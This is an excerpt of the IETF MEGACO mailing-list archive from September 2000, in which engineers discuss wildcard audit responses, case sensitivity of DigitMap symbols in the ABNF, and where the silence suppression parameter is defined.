Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Wildcard command with CHOOSE
X-To:         Christian Groves <Christian.Groves@ericsson.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I think we do.  I think the most interesting cases of wildcard
response is on a set of terminations that have common
characteristics (like all the physical terminations in a
trunk GW).  The "Name Pattern" mechanism will be helpful for
this.

Restricting it to "whole gateway only" is not acceptable, I think.

Brian

> -----Original Message-----
> From: Christian Groves [mailto:Christian.Groves@ericsson.com]
> Sent: Sunday, September 24, 2000 12:14 PM
> To: Rosen, Brian
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Wildcard command with CHOOSE
>
>
> G'Day Brian,
>
> Do we really need to specify this? If you do a w- TermID=? you're only
> going to get back one set of values whether or not you have w-.
>
> Below is the text I intend on adding to the implementors
> guide based on
> one of your previous examples.
>
> Does this help at all?
>
> Cheers, Christian
> =============================================================
> 9.3   Audit Response with and without wilcard response (w-)
>
> Description:  There is some confusion on what should be sent in the
> response to an Audit in the cases where you have wilcarded the context
> or termination and have specified wildcarded response.
> Reference:    Subject: RE: Audit of Packages
> Date: Wed, 13 Sep 2000 09:42:31 -0400
> From: "Rosen, Brian" <Brian.Rosen@marconi.com>
> To: "'Christian Groves'" <Christian.Groves@ericsson.com>
> CC: MEGACO@STANDARDS.NORTELNETWORKS.COM
>
> [Begin Clarification]
> Assume the gateway has 4 terminations : t1/1, t1/2, t2/1 and t2/2
> Assume terminations t1/* has implemented packages aaa and bbb and
> terminations t2/* has implemented packages ccc and ddd.
> Assume context 1 has t1/1 and t2/1 in it, and context 2 has t1/2 and
> t2/2 in it.
> The command:
> Context=1{Audit=t1/1{Audit{Packages}}
> Returns:
> Context=1{Audit=t1/1{Packages{aaa,bbb}}}}
> The command:
> Context=*{Audit=t2/*{Audit{Packages}}
> Returns:
> Context=1{Audit=t2/1{Packages{ccc,ddd}}},
> Context=2{Audit=t2/2{Packages{ccc,ddd}}}
> The command:
> Context=*{W-Audit=*{Audit{Packages}}
> Returns:
> Context=*{W-Audit=*{Packages{aaa,bbb,ccc,ddd}}
> [End Clarification]
> =============================================================
>
>
> "Rosen, Brian" wrote:
> >
> > The text currently states:
> > When ALL is used in the TerminationID of a command, the effect is
> >    identical to repeating the command with each of the matching
> >    TerminationIDs.  Since each of these commands may generate a
> >    response, the size of the entire response may be large.  If
> >    individual responses are not required, a wildcard response may be
> >    requested.  In such a case, a single response is generated, which
> >    contains the UNION of all of the individual responses which
> >    otherwise would have been generated, with duplicate values
> >    suppressed.
> >
> > Notice that this seems to imply that wildcard response can
> > only be used with ALL.  I think this is incorrect, and it
> > can be used with CHOOSE as in W-Audit=term/*{Audit{...
> >
> > This is grist for the Implementer's Guide.
> >
> > Brian
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 25 09:45:08 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA03376
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 25 Sep 2000 09:45:07 -0400 (EDT)
Received: from standards (47.234.32.16:2418) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB97568@standards.nortelnetworks.com>; Mon, 25 Sep 2000 9:27:32 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 27750 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 25 Sep 2000 09:27:32 -0400
Received: from slink12.ss7-link.com (mail.ss7-link.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB97567@standards.nortelnetworks.com>; Mon, 25 Sep 2000
          9:27:31 -0400
Received: by SLINK12 with Internet Mail Service (5.5.2650.21) id <TLHJMBWB>;
          Mon, 25 Sep 2000 09:39:00 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <F1BD619B2A58D41197990050DA2C08E401D373@SLINK12>
Date:         Mon, 25 Sep 2000 09:38:59 -0400
Reply-To: Dave Sclarsky <dsclarsky@SS7-LINK.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Dave Sclarsky <dsclarsky@SS7-LINK.COM>
Subject:      Re: Case sensitive DigitMap symbols?
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Brian,

Thanks again.  That clarifies it for me!

Does this qualify for a note in the implementors guide???

DaveS.

-----Original Message-----
From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
Sent: Monday, September 25, 2000 9:25 AM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Case sensitive DigitMap symbols?


Annex B references RFC2234, which states:

        ABNF strings are case-insensitive and
        the character set for these strings is us-ascii.

The text used to state this as a comment in the ABNF, but
somewhere that got lost.

Brian

> -----Original Message-----
> From: Dave Sclarsky [mailto:dsclarsky@ss7-link.com]
> Sent: Friday, September 22, 2000 6:57 PM
> To: Rosen, Brian; MEGACO@STANDARDS.NORTELNETWORKS.COM
> Cc: img
> Subject: RE: Case sensitive DigitMap symbols?
>
>
> Brian,
>
> Thanks for the response.  I apologize, but I haven't
> seen a clause that says the protocol is case insensitive.
> Does this refer to the text encoding, or is it a blanket
> statement covering all aspects of the protocol?
>
> DaveS.
>
> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> Sent: Friday, September 22, 2000 5:04 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Case sensitive DigitMap symbols?
>
>
> Except for the case of SDP in local/remote,
> the entire protocol is case insensitive.
> I'll support expanding the wording in 7.1.14.3 and
> E.6 to include the lower case values.
>
> Brian
>
> > -----Original Message-----
> > From: Dave Sclarsky [mailto:dsclarsky@SS7-LINK.COM]
> > Sent: Friday, September 22, 2000 4:39 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Case sensitive DigitMap symbols?
> >
> >
> > Hello,
> >
> > I have questions about the use of lower case letters as
> > DigitMap symbols.
> >
> > First of all, there is a conflict between the text and the ABNF:
> >
> > o The text description (7.1.14.3) allows
> >   symbols "A" through (at most) "K" as digit
> >   map symbols, but doesn't mention the lower
> >   case letters.
> >
> > o The ABNF in B.2 defines 'digitMapLetter'
> >   to allow %x41-4B or %x61-6B.
> >
> > Second, the DTMF detection package uses case in a
> > confusing way:
> >
> > o The DTMF 'tone id' to Event Symbol table in
> >   E.6 allows "*" to be represented as either
> >   "E" or "e", and "#" to be represented as either
> >   "F" or "f".
> >
> > o DigitMap Completion Events in E.6 define the
> >   possible values in a DigitString to be "A"
> >   through "F".
> >
> > Is there some reason to allow lower case in digit maps?
> >
> > Shouldn't the DTMF detection package define a one to one
> > mapping of 'tone id's to event symbols?
> >
> > The combination of these rules make it difficult for
> > an MG to implement 7.1.14.5 number 3, where it says
> > that each event 'is mapped to a digit string symbol',
> > especially for the "*" and "#" events, unless I am
> > missing something!
> >
> > Thanks,
> > ============================
> > Dave Sclarsky
> > System Architect, Access Technology
> > S-Link Corporation
> > 520 Fellowship Road, Suite C-304
> > Mt. Laurel, NJ 08054
> > dsclarsky@ss7-link.com
> > voice:856.642.9229 fax:856.642.0252
> > www.ss7-link.com
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 25 09:45:10 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA03379
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 25 Sep 2000 09:45:08 -0400 (EDT)
Received: from standards (47.234.32.16:2418) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB97576@standards.nortelnetworks.com>; Mon, 25 Sep 2000 9:28:47 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 27765 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 25 Sep 2000 09:28:47 -0400
Received: from mail-in.audiocodes.com (AC-INT-LP.ser.netvision.net.il) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB97575@standards.nortelnetworks.com>; Mon, 25 Sep 2000
          9:28:46 -0400
Received: by MAIL-IN with Internet Mail Service (5.5.2650.21) id <TK5BNQV8>;
          Mon, 25 Sep 2000 16:41:51 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="windows-1255"
Message-ID:  <81C3E8FE6C0AD4119D49009027C3AAB25DABD6@MAIL-IN>
Date:         Mon, 25 Sep 2000 16:41:50 +0200
Reply-To: Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
Subject:      FW: Silence suppression
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi

I Didn't get any answer for the silence suppression, so I send it again.
Does anybody got an answer for that?

Nurit

>  -----Original Message-----
> From:         Nurit Shenhar
> Sent: Thursday, September 21, 2000 3:56 PM
> To:   MEGACO (E-mail)
> Subject:      Silence suppression
>
> Hi list
>
> I think that there should be a silence suppression property in the tdmc
> package. If not, where do I get this parameter?
>
> Best regards
>
> Nurit Shenhar
> AudioCodes Ltd.
> Direct: +972-3-539-4155
> Tel:     +972-3-539-4000
> Fax:    +972-3-539-4040
> email:  nurit.shenhar@audiocodes.com
>
> web:    <http://www.audiocodes.com>
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 25 09:49:13 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA03489
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 25 Sep 2000 09:49:12 -0400 (EDT)
Received: from standards (47.234.32.16:2418) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9759E@standards.nortelnetworks.com>; Mon, 25 Sep 2000 9:33:12 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 27821 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 25 Sep 2000 09:33:12 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB9759D@standards.nortelnetworks.com>; Mon, 25 Sep 2000 9:33:07
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA26678; Mon, 25 Sep 2000 09:47:05 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA12693; Mon, 25 Sep 2000 09:47:05 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <S0BBHLNH>; Mon, 25 Sep 2000 09:46:46 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="windows-1252"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01A6E70F@whq-msgusr-02.pit.comms.marconi.com>
Date:         Mon, 25 Sep 2000 09:46:56 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Silence suppression
X-To:         Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I was hoping one of our more "bell-head" members would answer this.

I believe that the capability exists in both SDP and Annex C,
and that is where you control it.

Brian

> -----Original Message-----
> From: Nurit Shenhar [mailto:nurit.shenhar@AUDIOCODES.COM]
> Sent: Monday, September 25, 2000 10:42 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: FW: Silence suppression
>
>
> Hi
>
> I Didn't get any answer for the silence suppression, so I
> send it again.
> Does anybody got an answer for that?
>
> Nurit
>
> >  -----Original Message-----
> > From:         Nurit Shenhar
> > Sent: Thursday, September 21, 2000 3:56 PM
> > To:   MEGACO (E-mail)
> > Subject:      Silence suppression
> >
> > Hi list
> >
> > I think that there should be a silence suppression property
> in the tdmc
> > package. If not, where do I get this parameter?
> >
> > Best regards
> >
> > Nurit Shenhar
> > AudioCodes Ltd.
> > Direct: +972-3-539-4155
> > Tel:     +972-3-539-4000
> > Fax:    +972-3-539-4040
> > email:  nurit.shenhar@audiocodes.com
> >
> > web:    <http://www.audiocodes.com>
> >
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 25 10:06:02 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA03886
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 25 Sep 2000 10:06:01 -0400 (EDT)
Received: from standards (47.234.32.16:2418) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB975DC@standards.nortelnetworks.com>; Mon, 25 Sep 2000 9:49:53 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 27900 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 25 Sep 2000 09:49:53 -0400
Received: from mail-in.audiocodes.com (AC-INT-LP.ser.netvision.net.il) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB975DB@standards.nortelnetworks.com>; Mon, 25 Sep 2000
          9:49:52 -0400
Received: by MAIL-IN with Internet Mail Service (5.5.2650.21) id <TK5BNQXD>;
          Mon, 25 Sep 2000 17:02:58 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="windows-1252"
Message-ID:  <81C3E8FE6C0AD4119D49009027C3AAB25DABD7@MAIL-IN>
Date:         Mon, 25 Sep 2000 17:02:57 +0200
Reply-To: Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
Subject:      Re: Silence suppression
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi Brian

You are right about Annex C, but I read the SDP document (RFC2327) again and
again and didn't find anything about it. (I found there other parameters I
need, like Bandwidth).

I understood that Annex C is for the binary coding only, as it states at the
opening senstence:

   "Parameters for Local descriptors and Remote descriptors are specified
    as tag-value pairs if binary encoding is used for the protocol."

 If it should also be used for the ABNF, it will be quite difficult for the
parser to be ready to accept both SDP and Annex C.

Nurit


-----Original Message-----
From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
Sent: Monday, September 25, 2000 3:47 PM
To: 'Nurit Shenhar'; MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: RE: Silence suppression


I was hoping one of our more "bell-head" members would answer this.

I believe that the capability exists in both SDP and Annex C,
and that is where you control it.

Brian

> -----Original Message-----
> From: Nurit Shenhar [mailto:nurit.shenhar@AUDIOCODES.COM]
> Sent: Monday, September 25, 2000 10:42 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: FW: Silence suppression
>
>
> Hi
>
> I Didn't get any answer for the silence suppression, so I
> send it again.
> Does anybody got an answer for that?
>
> Nurit
>
> >  -----Original Message-----
> > From:         Nurit Shenhar
> > Sent: Thursday, September 21, 2000 3:56 PM
> > To:   MEGACO (E-mail)
> > Subject:      Silence suppression
> >
> > Hi list
> >
> > I think that there should be a silence suppression property
> in the tdmc
> > package. If not, where do I get this parameter?
> >
> > Best regards
> >
> > Nurit Shenhar
> > AudioCodes Ltd.
> > Direct: +972-3-539-4155
> > Tel:     +972-3-539-4000
> > Fax:    +972-3-539-4040
> > email:  nurit.shenhar@audiocodes.com
> >
> > web:    <http://www.audiocodes.com>
> >
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 25 10:46:05 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA04557
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 25 Sep 2000 10:46:04 -0400 (EDT)
Received: from standards (47.234.32.16:2418) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB976A4@standards.nortelnetworks.com>; Mon, 25 Sep 2000 10:30:08 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 28159 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 25 Sep 2000 10:30:08 -0400
Received: from fns-mail.nc.fnc.fujitsu.com (168.127.252.17:2301) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB976A3@standards.nortelnetworks.com>; Mon, 25 Sep 2000
          10:30:08 -0400
Received: by fns-mail.nc.fnc.fujitsu.com with Internet Mail Service
          (5.5.2650.21) id <TH4QC74W>; Mon, 25 Sep 2000 10:42:20 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Message-ID:  <47A44F71A511D411B12100805FE6628812E559@fns-mail.nc.fnc.fujitsu.com>
Date:         Mon, 25 Sep 2000 10:42:18 -0400
Reply-To: "Jepsen, Tom" <tom.jepsen@FNC.FUJITSU.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Jepsen, Tom" <tom.jepsen@FNC.FUJITSU.COM>
Subject:      Re: Silence suppression
X-To:         Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Nurit,

ATM extensions for SDP are not in RFC2327, but are in an Internet Draft
which can be found at
<http://search.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-00.txt>.
You will find a description of the silence suppression parameter
(silenceSupp) in section 5.6, Media Attribute Lines.

Hope this helps,

Tom Jepsen
Fujitsu Network Communications
1000 St. Albans Drive
Raleigh, NC 27609 USA
(919)790-3439

> -----Original Message-----
> From: Nurit Shenhar [SMTP:nurit.shenhar@AUDIOCODES.COM]
> Sent: Monday, September 25, 2000 11:03 AM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Re: Silence suppression
>
> Hi Brian
>
> You are right about Annex C, but I read the SDP document (RFC2327) again
> and
> again and didn't find anything about it. (I found there other parameters I
> need, like Bandwidth).
>
> I understood that Annex C is for the binary coding only, as it states at
> the
> opening senstence:
>
>    "Parameters for Local descriptors and Remote descriptors are specified
>     as tag-value pairs if binary encoding is used for the protocol."
>
>  If it should also be used for the ABNF, it will be quite difficult for
> the
> parser to be ready to accept both SDP and Annex C.
>
> Nurit
>
>
> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> Sent: Monday, September 25, 2000 3:47 PM
> To: 'Nurit Shenhar'; MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: RE: Silence suppression
>
>
> I was hoping one of our more "bell-head" members would answer this.
>
> I believe that the capability exists in both SDP and Annex C,
> and that is where you control it.
>
> Brian
>
> > -----Original Message-----
> > From: Nurit Shenhar [mailto:nurit.shenhar@AUDIOCODES.COM]
> > Sent: Monday, September 25, 2000 10:42 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: FW: Silence suppression
> >
> >
> > Hi
> >
> > I Didn't get any answer for the silence suppression, so I
> > send it again.
> > Does anybody got an answer for that?
> >
> > Nurit
> >
> > >  -----Original Message-----
> > > From:         Nurit Shenhar
> > > Sent: Thursday, September 21, 2000 3:56 PM
> > > To:   MEGACO (E-mail)
> > > Subject:      Silence suppression
> > >
> > > Hi list
> > >
> > > I think that there should be a silence suppression property
> > in the tdmc
> > > package. If not, where do I get this parameter?
> > >
> > > Best regards
> > >
> > > Nurit Shenhar
> > > AudioCodes Ltd.
> > > Direct: +972-3-539-4155
> > > Tel:     +972-3-539-4000
> > > Fax:    +972-3-539-4040
> > > email:  nurit.shenhar@audiocodes.com
> > >
> > > web:    <http://www.audiocodes.com>
> > >
> > >
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 25 11:08:08 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA04973
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 25 Sep 2000 11:08:06 -0400 (EDT)
Received: from standards (47.234.32.16:2418) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB97713@standards.nortelnetworks.com>; Mon, 25 Sep 2000 10:52:30 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 28283 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 25 Sep 2000 10:52:29 -0400
Received: from exchange.satyam.net.in (202.144.12.32:4693) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB976E1@standards.nortelnetworks.com>; Mon, 25 Sep 2000
          10:38:20 -0400
Received: from hqbng01ex01.mindtree.com ([202.144.95.250]) by
          exchange.satyam.net.in (8.9.3/8.9.3) with ESMTP id UAA22246 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Mon, 25 Sep 2000 20:00:21 +0530
Received: by hqbng01ex01.mindtree.com with Internet Mail Service (5.5.2650.21)
          id <TG4TCSK5>; Mon, 25 Sep 2000 19:57:49 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C026FC.C7A12956"
Message-ID:  <E34EEFC7FE67BE45A3BC560EEDDBE4A1805A47@hqbng01ex01.mindtree.com>
Date:         Mon, 25 Sep 2000 19:57:42 +0530
Reply-To: Venkatesh Kumar M <m_venkateshkumar@MINDTREE.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Venkatesh Kumar M <m_venkateshkumar@MINDTREE.COM>
Subject:      unsubscribe
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C026FC.C7A12956
Content-Type: text/plain;
        charset="iso-8859-1"


------_=_NextPart_001_01C026FC.C7A12956
Content-Type: text/html;
        charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2650.12">
<TITLE>unsubscribe</TITLE>
</HEAD>
<BODY>

</BODY>
</HTML>
------_=_NextPart_001_01C026FC.C7A12956--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 25 17:30:03 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA14834
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 25 Sep 2000 17:30:02 -0400 (EDT)
Received: from standards (47.234.32.16:2099) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB97B54@standards.nortelnetworks.com>; Mon, 25 Sep 2000 17:11:57 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 29682 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 25 Sep 2000 17:11:56 -0400
Received: from slink12.ss7-link.com (mail.ss7-link.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB97B53@standards.nortelnetworks.com>; Mon, 25 Sep 2000
          17:11:56 -0400
Received: by SLINK12 with Internet Mail Service (5.5.2650.21) id <TLHJMCB3>;
          Mon, 25 Sep 2000 17:23:26 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <F1BD619B2A58D41197990050DA2C08E401D376@SLINK12>
Date:         Mon, 25 Sep 2000 17:23:24 -0400
Reply-To: Dave Sclarsky <dsclarsky@SS7-LINK.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Dave Sclarsky <dsclarsky@SS7-LINK.COM>
Subject:      Re: Case sensitive DigitMap symbols?
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
X-cc:         img <img@ss7-link.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Brian,

Sorry I couldn't let this go, but I went looking
in RFC2234.  The problem with digitMapLetter is
that it doesn't use a case-insensitive ABNF string
to specify A-K.  (It does for the wildcard "x" and the
event qualifiers "L" "S" and "Z".)

Here is some more from 2234:

To specify a rule which IS case SENSITIVE,
 specify the characters individually.

 For example:
     rulename    =  %d97 %d98 %d99
 or
     rulename    =  %d97.98.99

   will match only the string which comprises only lowercased
   characters, abc.

The ABNF "Value Range Alternatives" says that it can be used
to specify "A range of alternative numeric values".  I guess this
precludes something simple like "A"-"K", which could be case insensitive.

It looks like the only way to do what we want in ABNF is to spell out
all of the alternatives (i.e. "A" / "B" / "C" etc.).

Or, maybe a comment saying that "%x41-4B denote the same events as %61-6B"
would be enough?

DaveS.

-----Original Message-----
From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
Sent: Monday, September 25, 2000 9:25 AM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Case sensitive DigitMap symbols?


Annex B references RFC2234, which states:

        ABNF strings are case-insensitive and
        the character set for these strings is us-ascii.

The text used to state this as a comment in the ABNF, but
somewhere that got lost.

Brian

> -----Original Message-----
> From: Dave Sclarsky [mailto:dsclarsky@ss7-link.com]
> Sent: Friday, September 22, 2000 6:57 PM
> To: Rosen, Brian; MEGACO@STANDARDS.NORTELNETWORKS.COM
> Cc: img
> Subject: RE: Case sensitive DigitMap symbols?
>
>
> Brian,
>
> Thanks for the response.  I apologize, but I haven't
> seen a clause that says the protocol is case insensitive.
> Does this refer to the text encoding, or is it a blanket
> statement covering all aspects of the protocol?
>
> DaveS.
>
> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> Sent: Friday, September 22, 2000 5:04 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Case sensitive DigitMap symbols?
>
>
> Except for the case of SDP in local/remote,
> the entire protocol is case insensitive.
> I'll support expanding the wording in 7.1.14.3 and
> E.6 to include the lower case values.
>
> Brian
>
> > -----Original Message-----
> > From: Dave Sclarsky [mailto:dsclarsky@SS7-LINK.COM]
> > Sent: Friday, September 22, 2000 4:39 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Case sensitive DigitMap symbols?
> >
> >
> > Hello,
> >
> > I have questions about the use of lower case letters as
> > DigitMap symbols.
> >
> > First of all, there is a conflict between the text and the ABNF:
> >
> > o The text description (7.1.14.3) allows
> >   symbols "A" through (at most) "K" as digit
> >   map symbols, but doesn't mention the lower
> >   case letters.
> >
> > o The ABNF in B.2 defines 'digitMapLetter'
> >   to allow %x41-4B or %x61-6B.
> >
> > Second, the DTMF detection package uses case in a
> > confusing way:
> >
> > o The DTMF 'tone id' to Event Symbol table in
> >   E.6 allows "*" to be represented as either
> >   "E" or "e", and "#" to be represented as either
> >   "F" or "f".
> >
> > o DigitMap Completion Events in E.6 define the
> >   possible values in a DigitString to be "A"
> >   through "F".
> >
> > Is there some reason to allow lower case in digit maps?
> >
> > Shouldn't the DTMF detection package define a one to one
> > mapping of 'tone id's to event symbols?
> >
> > The combination of these rules make it difficult for
> > an MG to implement 7.1.14.5 number 3, where it says
> > that each event 'is mapped to a digit string symbol',
> > especially for the "*" and "#" events, unless I am
> > missing something!
> >
> > Thanks,
> > ============================
> > Dave Sclarsky
> > System Architect, Access Technology
> > S-Link Corporation
> > 520 Fellowship Road, Suite C-304
> > Mt. Laurel, NJ 08054
> > dsclarsky@ss7-link.com
> > voice:856.642.9229 fax:856.642.0252
> > www.ss7-link.com
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 25 18:47:25 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
